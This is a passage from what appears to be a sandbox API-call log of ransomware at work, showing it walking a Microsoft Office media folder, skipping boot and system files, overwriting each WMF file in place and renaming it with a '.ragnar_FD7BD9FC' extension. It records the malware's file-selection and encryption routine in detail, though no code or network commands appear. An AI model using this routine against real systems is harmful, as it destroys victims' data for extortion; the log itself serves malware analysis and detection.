hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.513] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.513] GetProcessHeap () returned 0x580000 [0096.513] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.513] CloseHandle (hObject=0xf4) returned 1 [0096.513] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" [0096.513] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF.ragnar_FD7BD9FC" [0096.513] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18190_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18190_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.514] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x171d3300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x171d3300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xc9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18191_.WMF", cAlternateFileName="")) returned 1 [0096.514] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.514] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18191_.WMF" | out: lpString1="BD18191_.WMF") returned="BD18191_.WMF" [0096.514] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF") returned=".WMF" [0096.514] lstrcmpiW (lpString1="BD18191_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.514] lstrcmpiW (lpString1="BD18191_.WMF", lpString2="autorun.inf") returned 1 [0096.514] lstrcmpiW (lpString1="BD18191_.WMF", lpString2="boot.ini") returned -1 [0096.514] lstrcmpiW (lpString1="BD18191_.WMF", lpString2="bootfont.bin") returned -1 [0096.514] lstrcmpiW (lpString1="BD18191_.WMF", lpString2="bootsect.bak") returned -1 [0096.514] lstrcmpiW (lpString1="BD18191_.WMF", lpString2="bootmgr") returned -1 [0096.514] lstrcmpiW (lpString1="BD18191_.WMF", lpString2="bootmgr.efi") returned -1 [0096.514] lstrcmpiW (lpString1="BD18191_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.514] lstrcmpiW (lpString1="BD18191_.WMF", lpString2="desktop.ini") returned -1 [0096.514] lstrcmpiW (lpString1="BD18191_.WMF", lpString2="iconcache.db") returned -1 [0096.514] lstrcmpiW (lpString1="BD18191_.WMF", lpString2="ntldr") returned -1 [0096.514] lstrcmpiW (lpString1="BD18191_.WMF", lpString2="ntuser.dat") returned -1 [0096.514] lstrcmpiW (lpString1="BD18191_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.514] lstrcmpiW (lpString1="BD18191_.WMF", lpString2="ntuser.ini") returned -1 [0096.514] lstrcmpiW (lpString1="BD18191_.WMF", lpString2="thumbs.db") returned -1 [0096.514] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.514] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.514] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.514] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.514] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.515] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.515] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf")) returned 0x20 [0096.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.515] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=3230) returned 1 [0096.515] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc95, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.515] GetProcessHeap () returned 0x580000 [0096.515] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.515] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.517] VirtualAlloc (lpAddress=0x0, dwSize=0xc9e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.517] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.517] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.517] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc9e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xc9e, lpOverlapped=0x0) returned 1 [0096.517] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.517] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc9e, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.517] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc9e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xc9e, lpOverlapped=0x0) returned 1 [0096.517] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc9e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.517] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.517] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.517] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.518] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.518] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.518] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.518] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.518] GetProcessHeap () returned 0x580000 [0096.518] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.518] CloseHandle (hObject=0xf4) returned 1 [0096.518] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" [0096.518] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF.ragnar_FD7BD9FC" [0096.518] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18191_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18191_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.519] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6432a00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb6432a00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18192_.WMF", cAlternateFileName="")) returned 1 [0096.519] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.519] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18192_.WMF" | out: lpString1="BD18192_.WMF") returned="BD18192_.WMF" [0096.519] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF") returned=".WMF" [0096.519] lstrcmpiW (lpString1="BD18192_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.519] lstrcmpiW (lpString1="BD18192_.WMF", lpString2="autorun.inf") returned 1 [0096.519] lstrcmpiW (lpString1="BD18192_.WMF", lpString2="boot.ini") returned -1 [0096.519] lstrcmpiW (lpString1="BD18192_.WMF", lpString2="bootfont.bin") returned -1 [0096.519] lstrcmpiW (lpString1="BD18192_.WMF", lpString2="bootsect.bak") returned -1 [0096.519] lstrcmpiW (lpString1="BD18192_.WMF", lpString2="bootmgr") returned -1 [0096.519] lstrcmpiW (lpString1="BD18192_.WMF", lpString2="bootmgr.efi") returned -1 [0096.519] lstrcmpiW (lpString1="BD18192_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.519] lstrcmpiW (lpString1="BD18192_.WMF", lpString2="desktop.ini") returned -1 [0096.519] lstrcmpiW (lpString1="BD18192_.WMF", lpString2="iconcache.db") returned -1 [0096.519] lstrcmpiW (lpString1="BD18192_.WMF", lpString2="ntldr") returned -1 [0096.519] lstrcmpiW (lpString1="BD18192_.WMF", lpString2="ntuser.dat") returned -1 [0096.519] lstrcmpiW (lpString1="BD18192_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.519] lstrcmpiW (lpString1="BD18192_.WMF", lpString2="ntuser.ini") returned -1 [0096.519] lstrcmpiW (lpString1="BD18192_.WMF", lpString2="thumbs.db") returned -1 [0096.519] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.519] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.519] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.519] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.519] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.519] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.519] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.519] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf")) returned 0x20 [0096.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.520] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=8296) returned 1 [0096.521] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x205f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.521] GetProcessHeap () returned 0x580000 [0096.521] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.521] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.522] VirtualAlloc (lpAddress=0x0, dwSize=0x2068, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.522] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.522] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.522] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2068, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x2068, lpOverlapped=0x0) returned 1 [0096.523] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.523] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2068, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.523] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2068, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x2068, lpOverlapped=0x0) returned 1 [0096.523] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2068, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.523] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.524] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2068, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.524] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.524] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.524] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.524] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.524] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.524] GetProcessHeap () returned 0x580000 [0096.524] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.524] CloseHandle (hObject=0xf4) returned 1 [0096.524] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" [0096.524] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF.ragnar_FD7BD9FC" [0096.524] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.525] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd07d0800, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd07d0800, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18193_.WMF", cAlternateFileName="")) returned 1 [0096.525] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.525] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18193_.WMF" | out: lpString1="BD18193_.WMF") returned="BD18193_.WMF" [0096.525] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF") returned=".WMF" [0096.525] lstrcmpiW (lpString1="BD18193_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.525] lstrcmpiW (lpString1="BD18193_.WMF", lpString2="autorun.inf") returned 1 [0096.525] lstrcmpiW (lpString1="BD18193_.WMF", lpString2="boot.ini") returned -1 [0096.525] lstrcmpiW (lpString1="BD18193_.WMF", lpString2="bootfont.bin") returned -1 [0096.525] lstrcmpiW (lpString1="BD18193_.WMF", lpString2="bootsect.bak") returned -1 [0096.525] lstrcmpiW (lpString1="BD18193_.WMF", lpString2="bootmgr") returned -1 [0096.525] lstrcmpiW (lpString1="BD18193_.WMF", lpString2="bootmgr.efi") returned -1 [0096.525] lstrcmpiW (lpString1="BD18193_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.525] lstrcmpiW (lpString1="BD18193_.WMF", lpString2="desktop.ini") returned -1 [0096.525] lstrcmpiW (lpString1="BD18193_.WMF", lpString2="iconcache.db") returned -1 [0096.525] lstrcmpiW (lpString1="BD18193_.WMF", lpString2="ntldr") returned -1 [0096.525] lstrcmpiW (lpString1="BD18193_.WMF", lpString2="ntuser.dat") returned -1 [0096.525] lstrcmpiW (lpString1="BD18193_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.525] lstrcmpiW (lpString1="BD18193_.WMF", lpString2="ntuser.ini") returned -1 [0096.525] lstrcmpiW (lpString1="BD18193_.WMF", lpString2="thumbs.db") returned -1 [0096.525] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.525] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.526] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.526] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.526] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.526] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.526] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf")) returned 0x20 [0096.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.526] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=4750) returned 1 [0096.526] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1285, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.526] GetProcessHeap () returned 0x580000 [0096.526] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.526] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.528] VirtualAlloc (lpAddress=0x0, dwSize=0x128e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.528] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.528] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.528] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x128e, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x128e, lpOverlapped=0x0) returned 1 [0096.529] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.529] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x128e, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.529] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x128e, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x128e, lpOverlapped=0x0) returned 1 [0096.529] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x128e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.529] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.529] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x128e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.529] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.530] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.530] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.530] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, 